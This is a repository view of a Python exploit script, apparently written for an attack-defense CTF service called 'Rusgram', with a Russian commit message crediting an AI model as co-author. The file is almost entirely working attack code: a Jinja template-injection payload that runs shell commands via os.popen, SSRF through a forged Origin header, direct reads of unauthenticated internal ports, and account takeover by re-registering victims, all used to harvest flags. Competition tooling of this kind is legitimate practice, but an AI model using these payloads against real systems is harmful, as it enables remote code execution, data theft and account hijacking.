Files
dmeetrogonandClaude Opus 5 8041f1b90f sploits: сплойт на rusgram (5 векторов)
Комбинированный сплойт: V1 SSTI->RCE через имя юзера *.html, V3 SSRF через
Origin, V4 прямой database :38002, V5 прямой content :38004, V2 захват
аккаунта перерегистрацией. Векторы независимы — патч одного не глушит остальные.

Энумерация жертв: комментарии к картинкам + `ls` через RCE.
V1 использует свежее имя юзера на каждый раунд: Flask вне debug не перечитывает
шаблоны, и после первого рендера Jinja отдаёт закэшированную версию.

Проверено на стенде: собирает все посаженные флаги.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
2026-08-26 11:31:28 +03:00

228 lines
9.2 KiB
Python
Executable File

#!/bin/python3
"""
Rusgram — комбинированный сплойт (все 4 вектора).
Порядок: V1 (RCE) → V3 (SSRF) → V4 (прямой database) → V5 (прямой content) → V2 (ATO).
Векторы независимы: если противник запатчил один, остальные продолжают работать.
Запуск: ./start_sploit.py rusgram_sploit.py
"""
import sys
import re
import random
import string
import requests
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
TIMEOUT = 6
PROXY_PORT = 38000
STATIC_PORT = 38001
DB_PORT = 38002
LOGIC_PORT = 38003
CONTENT_PORT = 38004
def rnd(n=8):
return "".join(random.choices(string.ascii_lowercase, k=n))
def log(msg):
print(f"[*] {msg}", file=sys.stderr, flush=True)
# --------------------------------------------------------------------------
# V1: SSTI -> RCE. Имя юзера, оканчивающееся на .html, рендерится content'ом
# как Jinja-шаблон. Payload кладём ДО первого рендера (Jinja кэширует шаблоны).
# --------------------------------------------------------------------------
def v1_rce(ip, flags):
base = f"http://{ip}:{PROXY_PORT}"
user, pwd = f"{rnd()}.html", rnd()
try:
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
timeout=TIMEOUT)
# grep -r сам обходит каталог: имена жертв знать не нужно
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" "
"/app/files/db/').read() }}")
requests.post(f"{base}/api/update_personal",
json={"first_name": payload, "second_name": "x", "email": "x"},
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
found = set(FLAG_RX.findall(r.text))
flags |= found
log(f"V1 (RCE) : {len(found)} flags")
except requests.RequestException as e:
log(f"V1 failed: {e}")
# --------------------------------------------------------------------------
# V3: SSRF. logic редиректит на Origin+'/login.html', proxy идёт по редиректу
# серверсайд. Работает даже если 38001-38004 закрыты фаерволом.
# --------------------------------------------------------------------------
def v3_ssrf_read(ip, url_no_scheme, actor):
"""Читает внутренний URL глазами proxy. Хвост /login.html уводим в query.
В куке ДОЛЖЕН быть реально существующий юзер с неверным паролем: на
несуществующем logic падает в 500 (`.json()["data"]` по 404) и до
редиректа дело не доходит. Поэтому используем свой же аккаунт.
"""
base = f"http://{ip}:{PROXY_PORT}"
try:
r = requests.post(f"{base}/api/send_msg", json={"msg": "x"},
cookies={"session": f"{actor}||WRONGPASS"},
headers={"Origin": f"{url_no_scheme}?x="}, timeout=TIMEOUT)
return r.text
except requests.RequestException:
return ""
def v3_ssrf(ip, flags, users):
base = f"http://{ip}:{PROXY_PORT}"
# свой аккаунт как «актор»: гарантированно существует -> logic отдаст 302
actor, pwd = rnd(10), rnd()
try:
requests.post(f"{base}/api/register", json={"login": actor, "password": pwd},
timeout=TIMEOUT)
except requests.RequestException:
log("V3 (SSRF) : setup failed")
return
found = set()
for u in list(users)[:60]:
for field in ("msg", "first_name", "second_name", "email"):
body = v3_ssrf_read(ip, f"http://database:5002/users/{u}/{field}", actor)
found |= set(FLAG_RX.findall(body))
flags |= found
log(f"V3 (SSRF) : {len(found)} flags")
# --------------------------------------------------------------------------
# V4: database опубликован на 38002 вообще без аутентификации.
# --------------------------------------------------------------------------
def v4_database(ip, flags, users):
d = f"http://{ip}:{DB_PORT}"
found = set()
for u in list(users)[:100]:
for field in ("msg", "first_name", "second_name", "email"):
try:
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
found |= set(FLAG_RX.findall(r.text))
except requests.RequestException:
pass
flags |= found
log(f"V4 (database) : {len(found)} flags")
# --------------------------------------------------------------------------
# V5: content опубликован на 38004, рендерит файл юзера без требования .html.
# --------------------------------------------------------------------------
def v5_content(ip, flags, users):
c = f"http://{ip}:{CONTENT_PORT}"
found = set()
for u in list(users)[:100]:
try:
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
found |= set(FLAG_RX.findall(r.text))
except requests.RequestException:
pass
flags |= found
log(f"V5 (content) : {len(found)} flags")
# --------------------------------------------------------------------------
# V2: register перезаписывает пароль существующему юзеру, сохраняя его поля.
# Самый «грязный» вектор (ломает жертве логин) — поэтому идёт последним.
# --------------------------------------------------------------------------
def v2_ato(ip, flags, users):
base = f"http://{ip}:{PROXY_PORT}"
found = set()
for u in list(users)[:40]:
pwd = rnd(10)
try:
r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd},
timeout=TIMEOUT)
if r.status_code != 200:
continue
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT)
found |= set(FLAG_RX.findall(r.text))
except requests.RequestException:
pass
flags |= found
log(f"V2 (ATO) : {len(found)} flags")
# --------------------------------------------------------------------------
# Энумерация имён пользователей — несколько независимых каналов.
# --------------------------------------------------------------------------
def enum_users(ip):
"""Имена жертв: из комментариев к картинкам и из ls через RCE."""
users = set()
# канал 1: database напрямую (38002)
for i in range(1, 17):
try:
r = requests.get(f"http://{ip}:{DB_PORT}/images/{i}", timeout=TIMEOUT)
for c in r.json()["data"]["comments"]:
users.add(c[0])
except Exception:
break
# канал 2: RCE ls (работает, даже если внутренние порты закрыты)
base = f"http://{ip}:{PROXY_PORT}"
user, pwd = f"{rnd()}.html", rnd()
try:
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
timeout=TIMEOUT)
# маркеры @@ — чтобы не собрать в список имён JSON-обвязку файла
payload = ("{{ lipsum.__globals__.os.popen("
"'ls /app/files/db/users | sed \"s/^/@@/\"').read() }}")
requests.post(f"{base}/api/update_personal",
json={"first_name": payload, "second_name": "x", "email": "x"},
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
users |= set(re.findall(r"@@([\w.\-]+)", r.text))
except requests.RequestException:
pass
users.discard(".gitkeep")
# свои же .html-аккаунты в список жертв не берём
users = {u for u in users if u and not u.endswith(".html")}
log(f"enumerated {len(users)} users")
return users
def exploit(target_ip):
flags = set()
# V1 не требует знания имён — бьём сразу
v1_rce(target_ip, flags)
users = enum_users(target_ip)
if users:
v4_database(target_ip, flags, users)
v5_content(target_ip, flags, users)
v3_ssrf(target_ip, flags, users)
v2_ato(target_ip, flags, users)
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip) or []
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()